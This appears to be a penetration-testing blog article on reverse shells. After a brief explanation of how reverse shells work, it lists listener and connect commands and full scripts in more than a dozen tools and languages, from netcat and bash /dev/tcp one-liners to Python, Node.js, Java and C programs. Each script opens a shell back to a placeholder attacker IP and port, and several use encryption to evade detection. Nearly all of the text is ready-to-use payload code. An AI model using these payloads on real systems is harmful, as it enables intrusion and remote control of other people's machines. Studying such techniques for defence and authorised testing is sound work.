Introduction
In the world of penetration testing, a reverse shell is a crucial concept. It allows an attacker to connect back to their own machine from a compromised target. Once connected, the attacker can execute commands on the target system, enabling various post-exploitation techniques.
TL;DR
You can find a shorter cheat sheet version of this article here.
Table of contents
Open Table of contents
How Does a Reverse Shell Work?
In a reverse shell scenario, the attacker opens a listener on their machine, waiting for a connection from the target system. Once the target machine is compromised, the reverse shell initiates a connection back to the attacker’s machine. Unlike a traditional shell where the attacker connects to the target, the reverse shell makes the connection outbound from the target.
This method is often preferred because outbound connections are less likely to be blocked by firewalls or intrusion detection systems. Attackers can then control the compromised system, running commands as if they were logged into it.
Examples of Reverse Shells
Below are various methods and tools for establishing a reverse shell, each accompanied by a brief description to provide context on how they work.
Netcat (nc)
Netcat, often referred to as the “Swiss army knife” of networking, is a common tool used in penetration testing for creating reverse shells. It is lightweight, flexible, and available on most systems.
Listen: Sets up a listener on the attacker machine.
nc -nl PORT
Connect: Executes /bin/sh
after connecting to a remote IP and port.
nc -e /bin/sh IP PORT
nc -c sh IP PORT
Alternative (without **-e**
/**-c**
): Creates a reverse shell using FIFO (First In, First Out) named pipes.
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc IP PORT >/tmp/f
One-liner version of the command above:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP PORT >/tmp/f
Socat
Socat is another tool like Netcat, but with more advanced features such as encryption and PTY allocation. It can be used to create encrypted reverse shells, which are harder to detect.
Listen: Opens a TCP port to listen for connections.
socat tcp-listen:PORT -
Connect: Executes a shell upon establishing a TCP connection.
socat exec:/bin/sh tcp:IP:PORT
Connect: Executes a shell upon establishing a TCP connection (using system).
socat system:/bin/sh tcp:IP:PORT
Connect with fork: Handles many connections by forking a new process for each connection.
socat tcp-listen:PORT,fork -
With pseudo terminal (PTY)
Listen:
socat file:`tty`,raw,echo=0 tcp-listen:PORT
Connect: Executes a shell with pseudo terminal upon establishing a TCP connection.
socat exec:/bin/sh,pty,stderr,setsid,sigint,sane tcp:IP:PORT
SSL-encrypted
Generate certificate: generate certificate and key files.
openssl req -newkey rsa:2048 -new -nodes -x509 -days 3650 -keyout key.pem -out cert.pem
Listen:
socat openssl-listen:PORT,cert=cert.pem,key=key.pem,verify=0,fork -
Connect SSL-encrypted: Secure reverse shells using SSL certificates.
socat openssl:IP:PORT,verify=0 exec:/bin/bash
Ncat
Ncat is a networking tool from the Nmap suite, used for reading, writing, and redirecting data across networks. It supports both TCP and UDP and can handle encrypted connections with SSL. Ncat is useful for tasks like reverse shells and secure data transfer.
Listen: Waits for incoming connections
ncat --allow IP -nl PORT
Connect: Executes a shell on incoming connection.
ncat --exec /bin/sh IP PORT
SSL-encrypted: Encrypts the reverse shell using SSL.
Listen:
ncat --allow IP -vnl PORT --ssl
Connect:
ncat --exec /bin/sh --ssl IP PORT
UDP Support: Establishes a reverse shell over UDP.
Listen:
ncat -ulnvp PORT
Connect: Creates a reverse shell using FIFO (First In, First Out).
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|ncat -u IP PORT >/tmp/f
sbd
sbd is a Netcat-clone, designed to be portable and offer strong encryption. It runs on Unix-like operating systems and on Microsoft Win32. sbd features AES encryption, program execution (-e option), choosing source port, continuous reconnection with delay, and some other nice features.
Listen: Opens a port to listen for connections.
sbd -lp PORT
Connect: Executes shell on connection.
sbd -e /bin/sh HOST PORT
Encrypted: Uses encryption for secure connections.
Listen: Setup a listener with encryption phrase.
sbd -l -c on -k ENCRYPTION_PHRASE -p PORT
Connect: Executes shell after connecting with specified encryption pass phrase.
sbd -k ENCRYPTION_PHRASE -e /bin/sh HOST PORT
Bash
A reverse shell can be initiated using only bash, without requiring extra tools. Bash has built-in networking capabilities, allowing it to create a connection to the attacker’s machine.
Listen: Sets up a listener, using for example nc
on the attacker machine.
nc -nl PORT
Connect: Creates a reverse shell by redirecting I/O over TCP.
bash -i >& /dev/tcp/IP/PORT 0>&1
bash -i 5<> /dev/tcp/IP/PORT 0<&5 1>&5 2>&5
or connect with bash -c
:
bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'
UDP
Listen: using for example nc
:
nc -nul PORT
Connect: Creates a reverse shell by redirecting I/O over UDP.
sh -i >& /dev/udp/IP/PORT 0>&1
Openssl
A reverse shell using OpenSSL creates an encrypted connection between the attacker and the target system. OpenSSL is used to encrypt the traffic, making detection more difficult.
Listen: Sets up an SSL server to listen for incoming connections.
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port PORT
Connect: Uses OpenSSL to establish an encrypted reverse shell.
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -no_ign_eof -connect IP:PORT > /tmp/s; rm /tmp/s
whois
The whois is a network utility used for querying domain information. A reverse shell using the whois command is an less known method, where the victim sends data to the attacker’s IP via a whois query.
Listen: Sets up socat
forking process for each connection.
socat tcp-listen:8090,fork,reuseaddr -
Usage: type the command, press enter and then press CTRL+D
.
Connect: Evals the command and sends it via whois query.
while true; do X=`eval $(whois -h IP -p PORT "Output: $X")`; sleep 1; done
php
PHP is often used on web servers, making it a potential entry point for attackers. If a web server is vulnerable, an attacker can use PHP interpreter to establish a reverse shell.
Listen: using for example nc:
nc -nl PORT
Connect: Creates a reverse shell using exec.
php -r '$sock=fsockopen("IP", PORT);exec("/bin/sh -i <&3 >&3 2>&3");'
Connect: Creates a reverse shell using shell_exec.
php -r '$sock=fsockopen("IP", PORT);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
Connect: Creates a reverse shell using system.
php -r '$sock=fsockopen("IP", PORT);system("/bin/sh -i <&3 >&3 2>&3");'
Connect: Creates a reverse shell using passthru.
php -r '$sock=fsockopen("IP", PORT);passthru("/bin/sh -i <&3 >&3 2>&3");'
Connect: Creates a reverse shell using popen.
php -r '$sock=fsockopen("IP", PORT);popen("/bin/sh -i <&3 >&3 2>&3", "r");'
Connect: Creates a reverse shell using proc_open.
php -r '$sock=fsockopen("IP", PORT);proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
Connect: Creates a reverse shell using backticks.
php -r '$sock=fsockopen("IP", PORT);`/bin/sh -i <&3 >&3 2>&3`;'
Python
Python is pre-installed on many systems, making it another convenient method for reverse shells. Python scripts can open sockets and redirect shell input/output over a network connection.
Listen: using for example nc:
nc -nl PORT
Connect: Establishes a reverse shell using Python sockets.
#!/usr/bin/env python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("IP", PORT))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
Connect: One-liner (python -c
) version.
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP", PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])'
Ruby
Ruby, another scripting language, can also be used to establish a reverse shell. Like Python and Perl, it is available on many systems.
Listen: using for example nc:
nc -nl PORT
Connect: A reverse shell using Ruby’s socket library.
#!/usr/bin/ruby
require 'socket';
c=TCPSocket.new('IP', PORT)
$stdin.reopen(c)
$stdout.reopen(c)
$stderr.reopen(c)
$stdin.each_line{|l|l=l.strip;next if l.length==0;(IO.popen(l,"rb"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }
Connect: one-liner (sh
).
ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("IP", PORT))'
Connect: one-liner (popen
).
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("IP",PORT);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
Go lang
Go is another programming language that we can use to establish a reverse-shell.
Listen: using for example nc:
nc -nl PORT
Connect: create rev.go
file.
package main;
import"os/exec";
import"net";
func main(){c,_:=net.Dial("tcp","IP:PORT");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}
build and run to start the connection:
go run rev.go
Connect: one-liner.
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","IP:PORT");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
nodejs
Node.js is a JavaScript runtime built on Chrome’s V8 engine, designed for server-side and network applications. We can create reverse shells through the net
and child_process
modules.
Listen: using for example nc:
nc -nl PORT
Connect: create file rev.js
script.
var net = require("net"), sh = require("child_process").exec("/bin/bash");
var client = new net.Socket();
client.connect(PORT, "IP", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);
sh.stderr.pipe(client);});
Connect: one-liner.
require("child_process").exec('bash -c "bash -i >& /dev/tcp/IP/PORT 0>&1"')
Connect: by running the script.
nodejs rev.js
One-liners that can be used from the CLI.
Connect: exec.
node -e 'require("child_process").exec(`bash -c "bash -i >& /dev/tcp/IP/PORT 0>&1"`)'
Connect: single quotes.
node -e '(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(PORT, "IP", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/;})();'
Connect: double quotes.
node -e "(function(){ var net = require('net'), cp = require('child_process'), sh = cp.spawn('/bin/sh', []); var client = new net.Socket(); client.connect(IP, 'PORT', function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/;})();"
Connect: backticks.
node -e '(function(){ var net = require(`net`), cp = require(`child_process`), sh = cp.spawn(`/bin/sh`, []); var client = new net.Socket(); client.connect(IP, `PORT`, function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/;})();'
Connect: HEREDOC.
node - <<EOF
(function(){ var net = require('net'), cp = require('child_process'), sh = cp.spawn('/bin/sh', []); var client = new net.Socket(); client.connect(PORT, 'IP', function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/;})();
EOF
Lua
Lua is a lightweight, high-level scripting language designed for embedded use in applications. It can be often found installed in the operating system, which makes it a good tool for reverse-shells.
Listen: using nc:
nc -nl PORT
Connect: Opens a reverse shell using Lua’s os.execute
function.
lua -e "local socket = require('socket');require('os');t=socket.tcp();t:connect('IP','PORT');os.execute('/bin/sh -i <&3 >&3 2>&3');"
Connect: Opens a reverse shell using Lua’s popen
.
lua -e 'local host, port = "IP", PORT local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
Java
Java is a widely-used, high-level programming language known for its portability, object-oriented structure, and robustness. It is often used for web applications, enterprise software, mobile applications, and large-scale systems due to its strong performance and security features.
Listen: using nc:
nc -nl PORT
Create file Rev.java
select version for the target operating system.
Linux
Runtime exec
:
public class Rev {
public static void main(String[] args) {
Process p;
try {
p = Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/IP/PORT 0>&1");
p.waitFor();
p.destroy();
} catch (Exception e) {}
}
}
ProcessBuilder:
import java.net.Socket;
import java.io.OutputStream;
import java.io.InputStream;
public class Rev {
public static void main(String[] args) {
String host="IP";
int port=PORT;
String cmd="/bin/sh";
try {
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
} catch (Exception e) {}
}
}
Windows
ProcessBuilder:
import java.net.Socket;
import java.io.OutputStream;
import java.io.InputStream;
public class Rev {
public static void main(String[] args) {
String host="IP";
int port=PORT;
String cmd="cmd.exe";
try {
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
} catch (Exception e) {}
}
}
Compile and connect
Compile Rev.java class.
javac Rev.java
Connect: copy Rev.class to the target system and execute it.
java Rev
Groovy
Groovy is an agile, dynamic programming language for the Java platform, designed to enhance developer productivity. Groovy integrates with Java, allowing developers to use existing Java libraries and frameworks. It is often used for scripting, testing, and building domain-specific languages (DSLs) due to its flexibility and ease of use.
Listen: using nc:
nc -nl PORT
Create a rev.groovy
file - chose the version for target operating system.
Linux
String host="IP";
int port=PORT;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Windows
String host="IP";
int port=PORT;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Connect: by executing the script.
groovy rev.groovy
C
C is a general-purpose programming language known for its efficiency and control over system resources.
Create a rev.c
file:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(void) {
int sockfd;
int lport = PORT;
struct sockaddr_in serv_addr;
char *const params[] = {"/bin/sh", NULL};
char *const environ[] = {NULL};
sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = inet_addr("IP");
serv_addr.sin_port = htons(lport);
connect(sockfd, (struct sockaddr *) &serv_addr, 16);
dup2(sockfd, 0);
dup2(0, 1);
dup2(0, 2);
execve("/bin/sh", params, environ);
}
Compile and connect
Compile the file.
gcc rev.c -o rev
Connect: copy rev binary to the target system and execute it.
./rev
Conclusion
This guide showcases various reverse shell techniques, giving penetration testers and security professionals insight into how these tools work. Each tool offers different features, ranging from simplicity to advanced encryption options.